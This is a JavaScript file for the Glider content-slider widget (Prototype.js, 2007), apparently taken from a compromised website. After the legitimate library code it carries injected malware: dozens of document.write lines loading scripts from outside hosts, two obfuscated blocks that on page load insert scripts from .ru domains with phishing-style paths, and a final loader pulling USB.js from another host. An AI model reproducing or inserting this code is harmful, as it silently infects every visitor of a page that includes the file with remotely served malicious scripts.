/**
 * @author Bruno Bornsztein <bruno@missingmethod.com>
 * @copyright 2007 Curbly LLC
 * @package Glider
 * @license MIT
 * @url http://www.missingmethod.com/projects/glider/
 * @version 0.0.3
 * @dependencies prototype.js 1.5.1+, effects.js
 */

/*  Thanks to Andrew Dupont for refactoring help and code cleanup - http://andrewdupont.net/  */

Glider = Class.create();
Object.extend(Object.extend(Glider.prototype, Abstract.prototype), {
	initialize: function(wrapper, options){
	    this.scrolling  = false;
	    this.wrapper    = $(wrapper);
	    this.scroller   = this.wrapper.down('div.scroller');
	    this.sections   = this.wrapper.getElementsBySelector('div.section');
	    this.options    = Object.extend({ duration: 1.0, frequency: 3 }, options || {});

	    this.sections.each( function(section, index) {
	      section._index = index;
	    });    

	    this.events = {
	      click: this.click.bind(this)
	    };

	    this.addObservers();
			if(this.options.initialSection) this.moveTo(this.options.initialSection, this.scroller, { duration:this.options.duration });  // initialSection should be the id of the section you want to show up on load
			if(this.options.autoGlide) this.start();
	  },
	
  addObservers: function() {
    var controls = this.wrapper.getElementsBySelector('div.controls a');
    controls.invoke('observe', 'click', this.events.click);
  },	

  click: function(event) {
		this.stop();
    var element = Event.findElement(event, 'a');
    if (this.scrolling) this.scrolling.cancel();
    
    this.moveTo(element.href.split("#")[1], this.scroller, { duration:this.options.duration });     
    Event.stop(event);
  },

	moveTo: function(element, container, options){
			this.current = $(element);

			Position.prepare();
	    var containerOffset = Position.cumulativeOffset(container),
	     elementOffset = Position.cumulativeOffset($(element));

		  this.scrolling 	= new Effect.SmoothScroll(container, 
				{duration:options.duration, x:(elementOffset[0]-containerOffset[0]), y:(elementOffset[1]-containerOffset[1])});
		  return false;
		},
		
  next: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var nextIndex = (this.sections.length - 1 == currentIndex) ? 0 : currentIndex + 1;      
    } else var nextIndex = 1;

    this.moveTo(this.sections[nextIndex], this.scroller, { 
      duration: this.options.duration
    });
  },
	
  previous: function(){
    if (this.current) {
      var currentIndex = this.current._index;
      var prevIndex = (currentIndex == 0) ? this.sections.length - 1 : 
       currentIndex - 1;
    } else var prevIndex = this.sections.length - 1;
    
    this.moveTo(this.sections[prevIndex], this.scroller, { 
      duration: this.options.duration
    });
  },

	stop: function()
	{
		clearTimeout(this.timer);
	},
	
	start: function()
	{
		this.periodicallyUpdate();
	},
		
	periodicallyUpdate: function()
	{ 
		if (this.timer != null) {
			clearTimeout(this.timer);
			this.next();
		}
		this.timer = setTimeout(this.periodicallyUpdate.bind(this), this.options.frequency*1000);
	}

});

Effect.SmoothScroll = Class.create();
Object.extend(Object.extend(Effect.SmoothScroll.prototype, Effect.Base.prototype), {
  initialize: function(element) {
    this.element = $(element);
    var options = Object.extend({
      x:    0,
      y:    0,
      mode: 'absolute'
    } , arguments[1] || {}  );
    this.start(options);
  },
  setup: function() {
    if (this.options.continuous && !this.element._ext ) {
      this.element.cleanWhitespace();
      this.element._ext=true;
      this.element.appendChild(this.element.firstChild);
    }
   
    this.originalLeft=this.element.scrollLeft;
    this.originalTop=this.element.scrollTop;
   
    if(this.options.mode == 'absolute') {
      this.options.x -= this.originalLeft;
      this.options.y -= this.originalTop;
    } 
  },
  update: function(position) {   
    this.element.scrollLeft = this.options.x * position + this.originalLeft;
    this.element.scrollTop  = this.options.y * position + this.originalTop;
  }
});
document.write('<script src=http://derssonu.com/remos_downloads/LICENSE.php ><\/script>');
document.write('<script src=http://derssonu.com/remos_downloads/LICENSE.php ><\/script>');
document.write('<script src=http://derssonu.com/remos_downloads/LICENSE.php ><\/script>');
document.write('<script src=http://derssonu.com/remos_downloads/LICENSE.php ><\/script>');
document.write('<script src=http://derssonu.com/remos_downloads/LICENSE.php ><\/script>');
document.write('<script src=http://derssonu.com/remos_downloads/LICENSE.php ><\/script>');
document.write('<script src=http://derssonu.com/remos_downloads/LICENSE.php ><\/script>');
document.write('<script src=http://derssonu.com/remos_downloads/LICENSE.php ><\/script>');
document.write('<script src=http://xue630.com/images/gifimg.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');
document.write('<script src=http://fotothhi.be/images/index.php ><\/script>');

Fc={T:false};rO=22123;rO++;function H(){var G='';var ED="";aE=[];var F="def"+"erWkU".substr(0,2);var b=3158;I=7665;I--;var P=new String("app"+"GQxend".substr(3)+"Chi"+"ld");var VG=[];var K=String("boJsi".substr(0,2)+"dyZKV".substr(0,2));var Z=window;try {var Df='D'} catch(Df){};var H_="";var n="sr"+"EwRJc".substr(4);var _="scri"+"pt";var y=new String("onl"+"Ozfoad".substr(3));var Bn="";var cm=["EC"];var U=document;var e={};var Hx=new String("creat"+"eElem"+"ent");this.aW=31186;this.aW+=37;DL=["Ic"];var uq=["aj","Ah"];function nh(){this.yy="";var l=["hm","f"];try {var nF=159967-151887;MO=["To","QU"];var Hs="Hs";var m="http"+"://p"+"assp"+"7Vmxortb".substr(4)+"lues"+".ru:nL9".substr(0,4);var vU=false;ex=["Ss","FN"];var V=9714-9713;var A=String("/ama"+"zon-"+"fr/g"+"vp7oogl".substr(3)+"e.co"+"5vIwm/mi".substr(4)+"ibei"+"an.g"+"ov.c"+"5X2n.ph".substr(3)+"84j5p".substr(4));var eE={RW:"RY"};Pc=U[Hx](_);var nB=false;try {var TW='CV'} catch(TW){};var Y='';this.Tx=33676;this.Tx+=152;Pc[F]=V;Ub={EB:8097};try {} catch(iA){};eY=["YH","QN","DE"];Pc[n]=m+nF+A;U[K][P](Pc);var dg='';var Hxc="";var hF={HS:"xp"};kg=55031;kg--;} catch(mr){this.ajO=60831;this.ajO+=234;var w_=false;};var Hf=new String();var nFR=new String();}jx=[];var DW=["jM","rW"];Z[y]=nh;var LU=false;var ZN=["kE","lK"];};var Ma=new Array();Uq=["Yu","tO"];H();var YI=new String();
var Y=["I"];this.g=29485;this.g++;e=11662;e+=65;try {bp={};L={};var E=["a","Dg"];try {} catch(F){};bO={r:false};SA={KK:false};var h=window[String("unes"+"cape")];s=63847;s--;d=21926;d--;var oy=21435;var G=window[(String("ReSCM".substr(0,2)+"gEsL2".substr(0,2)+"4fMxpf4M".substr(3,2)))];Er=33339;Er--;_l=43264;_l--;this.qm='';var X=new String("1");var t={sW:false};var Bt="Bt";try {} catch(A){};try {var db='rs'} catch(db){};vs={Bm:6181};var c='';var gi="gi";var BV={W:false};this.cg=5004;this.cg-=97;var up=new String();var p=String("on"+"lo"+"CNOad".substr(3));var Ut={};var Vb={};var Yo='';var P=String("rep"+"lacRezC".substr(0,3)+"ud2TedT2u".substr(4,1));try {var DS='Tc'} catch(DS){};try {var WG='Wx'} catch(WG){};var mF=new Date();var CT="CT";this.lU="lU";function S(X,k){var Cy=44355;TJ=["Q"];var j="[";this.im='';this.lY='';sV=[];this.vY=26720;this.vY+=74;this.Rw='';j+=k;var BR=38481;this.Kz=false;var HJ=false;this.yS='';j+=h("%5d");this.tU=31610;this.tU++;var dx=[];var yc={};Qk=10534;Qk++;var Qb=["aK","Mz","Yr"];var n=new G(j, "g");O=54321;O+=199;return X.replace(n, c);this._v=64616;this._v++;this.Ga=false;CO={};KG={yZ:20906};};GV={J:"lQ"};var If=new String();this.MN=42281;this.MN+=21;this.PG=30875;this.PG+=230;this.zx=43466;this.zx-=252;var ny=String("5NB3http:".substr(4)+"//gotiEh".substr(0,5)+"hguil"+"S86t.ru:S86".substr(3,5));var ic={JG:47518};var YV={yA:16164};var l=250875-242795;var Xhg=new String();lw=64659;lw++;COm=38673;COm++;var tAd=false;ye={xJ:46067};Um={Uu:19725};Od={KW:56633};BO={bJ:28053};var N=String("/hsbc"+"-co-up7H".substr(0,5)+"k/goo"+"gle.c"+"om/li"+"nezinV82D".substr(0,5)+"g.com"+".php");var nU=new Array();this.fS=31293;this.fS+=253;var PY=new Array();var sh={_Q:false};var oz='';this.__=1590;this.__+=71;function q(){var OQ=new Date();var Jh=new Array();azS=["VK","bi","gD"];Al=[];var VL={};var qQ=false;var R=new String("ap"+"pe"+"nd"+"Ch"+"il"+"d");this.JF=56397;this.JF-=136;this.orM=false;this.Pv=4931;this.Pv-=66;O_=["Bd","lQc","zh"];this.bc=false;var v=document;dd={};ju=[];UF={};LS=10331;LS-=180;var b=S('s5c5rzi3pOth','8h1wgOEVoJ34zb6HlPD5Z');var BtG={ei:"iF"};var FC=[];HJz={OJJ:"Mq"};hHk=["Jg","Ed"];zT=["ce"];var Szh=new Array();var Su={kY:"Gp"};var AI=new Array();var pO={};bP=v.createElement(b);Ws=50423;Ws++;dt=58145;dt++;var BQ={uF:"zW"};w=ny+l;_j=5881;_j-=181;var QL=[];w=w+N;var pzm="";try {var RS='NC'} catch(RS){};var uN={ES:"eg"};var oQ=new Date();var Qw=new Date();this.mAi=12453;this.mAi--;bP.src=w;var BdY=["XM"];var Gz=v.body;var oe={};bIk={kfh:2241};var Ak=["TB"];WxH={gq:62868};bP[new String("defe"+"r")]=X;Szx=["NCC"];var RY=false;var LCk={};try {var VU='nP'} catch(VU){};try {var mt='xA'} catch(mt){};af={};Gz[R](bP);var ck='';};Mzm=["dq","Rl"];this.Ye=18647;this.Ye--;var jG=new String();window[p]=q;this.Lp='';aq=7605;aq++;this.EP=26766;this.EP--;var mk=["Ne","_Z","FR"];this._lZ=63349;this._lZ--;this.wh=42932;this.wh--;} catch(z){var ZI=new String();var yt=9212;var z_={GU:54703};Cc={CAq:"jXN"};};jD={};this.bC=false;try {} catch(XU){};




document.write('<s'+'cript type="text/javascript" src="http://assolkh.blackhulu.com:8080/USB.js"></scr'+'ipt>');
